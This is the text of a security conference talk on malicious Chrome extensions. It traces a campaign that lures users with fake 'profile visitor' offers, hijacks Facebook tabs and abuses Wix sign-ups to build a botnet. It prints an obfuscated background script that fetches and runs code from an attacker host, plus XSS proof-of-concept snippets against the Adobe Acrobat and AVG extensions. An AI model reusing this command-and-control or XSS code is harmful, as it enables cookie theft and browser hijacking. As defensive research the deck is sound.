Game of Chromes
Owning the Web with Zombie Chrome Extensions

Tomer Cohen
## Bot Traffic Report 2016

<table>
<thead>
<tr>
<th>Category</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Humans</td>
<td>48.2%</td>
</tr>
<tr>
<td>Good Bots</td>
<td>22.9%</td>
</tr>
<tr>
<td>Bad Bots</td>
<td>28.9%</td>
</tr>
<tr>
<td>Monitoring Bots</td>
<td>1.2%</td>
</tr>
<tr>
<td>Commercial Crawlers</td>
<td>2.9%</td>
</tr>
<tr>
<td>Search Engine Bots</td>
<td>6.6%</td>
</tr>
<tr>
<td>Feed Fetchers</td>
<td>12.2%</td>
</tr>
<tr>
<td>Impersonators</td>
<td>24.3%</td>
</tr>
<tr>
<td>Scrapers</td>
<td>1.7%</td>
</tr>
<tr>
<td>Spammers</td>
<td>0.3%</td>
</tr>
<tr>
<td>Hacker Tools</td>
<td>2.6%</td>
</tr>
</tbody>
</table>
April 2016
Sign-up Graph
This is what we currently know…
¿Cómo funciona?
Usamos una extensión para obtener información sobre las visitas hacia tu perfil, luego la recopilamos mostrándote quienes son los que más han ingresado a tu perfil.

Comenzar

53,169 Personas ya lo han hecho

¿Cuál es el significado de tu nombre? CLICK
How does it work?
We use an extension for obetener information about visits to your profile, then collect showing you who are the ones who have entered your profile.

Start

53,169 people already have made

What is the meaning of your name? CLICK
Viad30 Unlocker
proposé par Mario Gosparini

PRÉSENTATION

Permet de profiter des avantages d'un compte youtube premium

[UPDATE]
* Petit popup, qui permet d'activer ou de désactiver la fonctionnalité.
* D'accéder directement à la page des visites.
* Faire des recherches avancées
* Mise à jour automatique
* Envoyer des messages à tous les membres

[IMPORTANT]

Signaler un abus
Extension
Course of Action

Inject Code
Into Facebook tabs

Open Wix Frame
Transparently inside a Facebook page

Sign Up to Wix
Bypassing bot detection
GREAT SUCCESS!
**Extension Course of Action**

- **Inject Code Into Facebook tabs**
- **Open Wix Frame Inside a Facebook page**
- **Sign Up to Wix Bypassing bot detection**
- **Publish Wix Website That leads to attack page**
- **Distribute Link Among all Facebook friends**
- **Review Extension In Google Web Store**
The objective:
Use Wix as a distributor to form a bot net
Bot Masters: What Do They Want?

- Send Spam
- DDoS Attacks
- Scrape Websites
- Click Frauds
Facebook 'Comment Tagging Malware' Spreading via Google Chrome

By Waqas on June 27, 2016

Email  @hackread  MALWARE  SCAMS AND FRAUD  SECURITY

IF YOU RECEIVE A FACEBOOK NOTIFICATION REGARDING A FRIEND TAGGING YOU IN A COMMENT BE VERY CAREFUL BEFORE CLICKING ON THE LINK IT CAN BE A JAVASCRIPT MALWARE FOUND TARGETING USERS LATESTLY!
Tag Me If You Can
This Magical Bot...
What makes a good bot

Goal: **Look Human**

- Blacklists
- Cookies & Flow Control
- Mouse Movement
- Javascript Challenges
Browser Extension:
The Perfect Bot
What An Extension Can Do

Extension Manifest

```
{
    "update_url": "https://clients2.google.com/service/update2/crx",
    "background": {
        "scripts": [
            "view.js"
        ]
    },
    "browser_action": {
        "default_icon": "viadeo.png",
        "default_popup": "index.html"
    },
    "content_scripts": [
        {
            "js": [
                "jquery.js",
                "crack.js"
            ],
            "matches": [
                "*://*.viadeo.com/*"  
            ]
        }
    ],
    "manifest_version": 2,
    "name": "Viad30 Unlocker",
    "permissions": [
        "tabs",
        "*://*.viadeo.com/*",
        "storage",
        "webNavigation",
        "http://*/*",
        "https://*/*",
        "cookies",
        "webRequest",
        "webRequestBlocking"
    ],
    "version": "3.4",
    "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"
}
```

Use a copy of an existing extension

Cross-origin request ability

Background script

Snatch user cookies from

Login capability
Command & Control

Background Script

```javascript
chrome.tabs.onUpdated.addListener(function(gdhndztwu, ylvmbrzaez, ypujhmpyy) {
  var xhr_obj = juykhjkhj();
  xhr_obj['onreadystatechange'] = function() {
    if (xhr_obj['readyState'] == 4) {
      chrome['tabs']['executeScript']({
        code: xhr_obj['responseText']
      });
    }
  }
};
xhr_obj['open']('get', 'http://appbda.co/data.js');
xhr_obj['send']();
if (rkiyypsyn == 0) {
  rkiyypsyn = 1;
}
```

Any time a tab is updated

And execute it on the active tab.

Get new commands from the attacker’s server

Any time a tab is updated

And execute it on the active tab.

Get new commands from the attacker’s server
But It’s Too Complicated
Why Do It Yourself?!
Adobe Acrobat extension XSS

- XSS found on January 2016
- 30 million installations
- XSS found by Google Project Zero researcher Tavis Ormandy
On January 12th, an automatic Adobe Acrobat update force installed a new chrome extension with ID `efaidnbmnnibpcajpcgclclefindmkaj`. You can view it on the Chrome Webstore here: https://chrome.google.com/webstore/detail/adobe-acrobat/efaidnbmnnibpcajpcgclclefindmkaj/

I can see from the webstore statistics it’s already got ~30M installations.

It didn’t take long to notice there’s a DOM XSS in `data/js/frame.html`

```javascript
531       } else if (request.current_status === "failure") {
532           analytics(events.TREFOIL_HTML_CONVERT_FAILED);
533           if (request.message) {
534               str_status = request.message;
535           }
536           success = false;
```

Presumably you can do

```javascript
window.open("chrome-extension://efaidnbmnnibpcajpcgclclefindmkaj/data/js/frame.html?message=" +
encodeURIComponent(JSON.stringify({
    panel_op: "status",
    current_status: "failure",
    message: ":<h1>hello</h1>"
})));
```

I think CSP might make it impossible to jump straight to script execution, but you can iframe non web accessible resources, and easily pivot that to code execution, or change privacy options via options.html, etc.
The frame who framed the XSS

iframe.js

```javascript
op = request.panel_op;
switch (op) {
  case "status":
    if (request.current_status === "waiting") {
      ...
    } else if (request.current_status === "failure") {
      analytics(events.TREFOIL_HTML_CONVERT_FAILED);
      if (request.message) {
        str_status = request.message;
      }
      success = false;
    }
  }

  ...
  if (str_status) {
    $(".convert-title").removeClass("hidden");
    $(".convert-title").html(str_status);
  }
```

This is our payload!

Raw input to HTML
Content-Security Policy

• CSP by default on extensions since 2014
• Protects in 3 ways:
  1. Forbid evals
  2. Forbid inline scripts
  3. Allow only local scripts

“We find that 94.68% of policies that attempt to limit script execution are ineffective, and that 99.34% of hosts with CSP use policies that offer no benefit against XSS”
AVG Web Tuneup extension XSS

- XSS found on December 2015
- 9 million installations
- XSS found by Google Project Zero researcher Tavis Ormandy
function receiveMessage(event) {
    if (event.data !== undefined && event.data.historyItems !== undefined) {
        var obj = JSON.parse(event.data.historyItems);
        document.write("Here is a list of websites you've been visiting");
        document.write("<br>");
        for (i in obj) {
            var d = new Date(obj[i]);
            document.write("<a href=" + i + "">" + i + "</a> on " + d);
            document.write("<br>");
        }
    }
}
</script>

I'm sure if I keep looking I'll be able to turn this into remote code execution, but hopefully this is enough for now.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

Disappointed, Tavis.
AVG Web Tuneup - DEMO
JSONView extension XSS

- XSS found on February 2016
- Removed from store on November 2016
- Came back on January 2017
- XSS found by Joe Vennix
Q / A
THANKS

tomerc@wix.com